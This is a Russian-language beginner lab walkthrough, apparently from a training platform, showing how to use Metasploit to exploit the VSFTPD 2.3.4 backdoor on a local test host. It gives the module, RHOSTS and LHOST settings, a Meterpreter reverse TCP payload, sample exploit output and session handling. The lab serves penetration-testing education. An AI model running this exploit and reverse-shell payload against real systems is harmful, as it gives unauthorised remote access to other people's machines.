Простое выполнение эксплойта в Metasploit

LinuxBeginner
Практиковаться сейчас

Введение

Добро пожаловать в мир тестирования на проникновение с помощью Metasploit! Metasploit Framework — это мощный инструмент с открытым исходным кодом, который специалисты по кибербезопасности используют для поиска уязвимостей в сетях и на серверах.

В этой лабораторной работе вы пройдете путь классического и прямолинейного эксплойта. Мы подготовили симулированную среду, в которой сервер работает под управлением уязвимой версии VSFTPD (Very Secure FTP Daemon), а именно версии 2.3.4. Эта конкретная версия содержит широко известный бэкдор, который был тайно добавлен в исходный код.

Ваша цель — использовать консоль Metasploit (msfconsole), чтобы найти, настроить и запустить эксплойт против этой службы для получения командной оболочки на целевой системе. Это практическое упражнение научит вас фундаментальному рабочему процессу использования Metasploit для выполнения простого эксплойта.

Давайте начнем!

Выбор эксплойта для уязвимой службы с помощью use exploit/unix/ftp/vsftpd_234_backdoor

На этом этапе вы запустите консоль Metasploit и выберете подходящий модуль эксплойта для бэкдора в VSFTPD 2.3.4. msfconsole является основным интерфейсом для работы с Metasploit Framework.

Сначала запустите консоль Metasploit. Мы будем использовать флаг -q (quiet), чтобы пропустить баннер и ускорить запуск.

msfconsole -q

Как только консоль загрузится, ваше приглашение изменится на msf >. Теперь вам нужно указать Metasploit, какой эксплойт вы хотите использовать. Команда use загружает конкретный модуль. Модуль для бэкдора VSFTPD 2.3.4 находится по пути exploit/unix/ftp/vsftpd_234_backdoor.

Выполните следующую команду в консоли Metasploit:

use exploit/unix/ftp/vsftpd_234_backdoor

После выполнения команды вы заметите, что приглашение изменилось и теперь включает имя выбранного модуля эксплойта. Это означает, что модуль активен и готов к настройке.

В зависимости от вашей версии Metasploit, полезная нагрузка (payload) по умолчанию может быть выбрана автоматически (например, cmd/linux/http/x86/meterpreter_reverse_tcp). Эта полезная нагрузка требует двух настроек:

  1. LHOST — IP-адрес, на котором Metasploit ожидает обратное соединение. Используйте 127.0.0.1 для этой лабораторной работы:
set LHOST 127.0.0.1
  1. Encoder — Стандартный кодировщик может выдать ошибку "All encoders failed to encode." Установите кодировщик в generic/none, чтобы избежать кодирования:
set Encoder generic/none

Установка IP-адреса цели с помощью set RHOSTS target_ip

На этом этапе вы настроите эксплойт, указав IP-адрес целевого хоста. Большинство модулей Metasploit требуют указания цели. Опция для удаленного целевого хоста (или хостов) называется RHOSTS.

Поскольку уязвимая FTP-служба запущена на той же машине, где находитесь вы (наша лабораторная среда), вы можете использовать IP-адрес обратной петли (loopback), который равен 127.0.0.1.

Чтобы установить эту опцию, используйте команду set, за которой следует имя опции (RHOSTS) и ее значение (127.0.0.1).

Введите следующую команду в вашей msfconsole:

set RHOSTS 127.0.0.1

Metasploit подтвердит настройку, выведя имя опции и ее новое значение.

RHOSTS => 127.0.0.1

Теперь вы указали Metasploit, куда направлять атаку.

Проверка опций эксплойта с помощью show options

На этом этапе вы убедитесь, что все необходимые опции для эксплойта установлены правильно, прежде чем запускать его. Это важная передовая практика, гарантирующая правильную настройку эксплойта.

Команда show options отображает все настраиваемые параметры для текущего загруженного модуля, их текущие значения и информацию о том, являются ли они обязательными.

Выполните следующую команду в вашей msfconsole:

show options

Вы увидите таблицу с перечислением опций модуля и опций полезной нагрузки.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST    127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT    4444             yes       The listen port
   ...

Изучите вывод. Убедитесь, что RHOSTS имеет значение 127.0.0.1, а LHOST127.0.0.1. RPORT равен 21 (FTP). Когда все необходимые опции установлены, вы готовы к продолжению.

Выполнение эксплойта с помощью команды exploit

Теперь, когда эксплойт настроен, вы можете запустить его против целевой системы. Команда exploit (которую можно сократить до run) инициирует атаку на основе выбранного модуля и текущих параметров.

Запустите эксплойт, введя следующую команду и нажав Enter:

exploit

УСТРАНЕНИЕ НЕПОЛАДОК: Если вы видите ошибку Msf::OptionValidateError One or more options failed to validate: LHOST, выполните команду set LHOST 127.0.0.1. Если появляется сообщение All encoders failed to encode, выполните set Encoder generic/none, чтобы отключить кодирование. После этого снова запустите exploit.

ПРЕДУПРЕЖДЕНИЕ: Первая попытка может завершиться неудачей с сообщением "Unable to connect to backdoor on 6200/TCP. Cooldown?" или "Exploit completed, but no session was created." Если это произошло, просто повторите команду exploit — вторая попытка должна увенчаться успехом.

Metasploit начнет процесс эксплуатации бэкдора. Вы увидите вывод, подробно описывающий этапы атаки. В случае успеха будет активирован бэкдор и открыта сессия Meterpreter.

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Важно: После успешного выполнения эксплойта вы окажетесь в командной строке Meterpreter. Это означает, что удаленный доступ получен! Вы можете ввести shell, чтобы перейти в интерактивную командную оболочку, а затем выполнить whoami или id, чтобы подтвердить наличие доступа:

shell
Process 1234 created.
Channel 1 created.
whoami
labex

Поздравляем, вы успешно получили удаленный доступ!

Проверка сессии с помощью sessions -l

На этом этапе вы узнаете, как управлять активным соединением или "сессией", которую вы только что открыли. Metasploit позволяет иметь несколько открытых сессий одновременно и переключаться между ними.

Сначала, чтобы вернуться в приглашение msfconsole, не закрывая сессию, вам нужно перевести ее в фоновый режим. Нажмите Ctrl+Z на клавиатуре. Если вы находитесь внутри оболочки (после запуска shell), введите y, чтобы перевести канал в фоновый режим — вы вернетесь в meterpreter >. Снова нажмите Ctrl+Z и введите y при появлении запроса на перевод сессии в фоновый режим:

Background session 1? [y/N]  y
msf exploit(unix/ftp/vsftpd_234_backdoor) >

Команда sessions работает только в основном приглашении Metasploit (msf exploit(...) >), а не внутри Meterpreter. Теперь вы вернулись в основное приглашение Metasploit. Чтобы увидеть список всех активных сессий, используйте команду sessions с флагом -l (list).

sessions -l

Это отобразит таблицу всех сессий, работающих в фоновом режиме, включая их ID, тип и информацию о соединении.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Вы видите свою сессию в списке с ID 1. Если бы вы захотели снова взаимодействовать с ней, вы бы использовали команду sessions -i 1. Управление сессиями — это ключевая функция Metasploit.

Резюме

Поздравляем! Вы успешно завершили эту лабораторную работу и выполнили свой первый эксплойт с помощью Metasploit Framework.

В этой работе вы изучили фундаментальный рабочий процесс тестирования на проникновение с помощью Metasploit:

  • Запуск консоли Metasploit (msfconsole).
  • Выбор конкретного модуля эксплойта с помощью команды use.
  • Настройка цели модуля с помощью команды set.
  • Проверка конфигурации с помощью show options.
  • Запуск атаки с помощью команды exploit.
  • Управление полученным соединением с помощью sessions.

Эта базовая схема "выбрать, настроить, эксплуатировать" является основой практически всех действий, которые вы будете выполнять в Metasploit. Теперь вы обладаете базовыми знаниями для изучения более сложных эксплойтов и полезных нагрузок.